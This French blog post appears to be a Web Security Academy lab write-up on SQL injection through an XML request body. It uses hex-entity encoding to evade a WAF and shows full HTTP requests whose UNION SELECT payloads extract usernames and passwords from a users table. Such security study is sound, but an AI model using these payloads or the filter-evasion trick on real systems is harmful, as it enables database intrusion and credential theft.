Injection SQL dans différents contextes

Auteur: Brouettelover 2024-01-21 16:02:32
Categories: > > Tags:

Description

Dans les articles précédents, on a vu comment faire une injection SQL directement dans une quary. Cependant nous pouvons passez par d’autres moyens qui exécuté du SQL afin de pouvoir bypass des sécurités comme des WAFs ou d’autres défences.

Il est possible aussi d’obfusqué le code afin qu’il ne soit pas reconnaissable directement et donc passé sous le radar des mécanismes de défences.

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

Dans cette exemple le S de SELECT est encodé et est envoyé sous la forme d’un fichier XML.

Exemple pratique

On injecte le code directement en modifiant le storeID avec l’extension Hackvertor afin d’encoder mon payload.

POST /product/stock HTTP/2
Host: 0ac200b70384d6b180e67ba700bb0082.web-security-academy.net
Cookie: session=wjnehBzKxw7KAcKhdFiFuywYq5rXbDJ9
Content-Length: 215
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://0ac200b70384d6b180e67ba700bb0082.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ac200b70384d6b180e67ba700bb0082.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 UNION SELECT NULL<@/hex_entities>
</storeId>
</stockCheck>

Cette exemple va afficher null ainsi que la valeur qu’il devait afficher ce qui nous indique que la table ne contient qu’une donnée.

à noté qu’une réponse de 0 est considéré comme une erreur (il n’affichera pas le message d’erreur)

POST /product/stock HTTP/2
Host: 0ac200b70384d6b180e67ba700bb0082.web-security-academy.net
Cookie: session=wjnehBzKxw7KAcKhdFiFuywYq5rXbDJ9
Content-Length: 215
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://0ac200b70384d6b180e67ba700bb0082.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ac200b70384d6b180e67ba700bb0082.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>
</storeId>
</stockCheck>

On peut donc tenter d’extraire les données sur une seule colonne.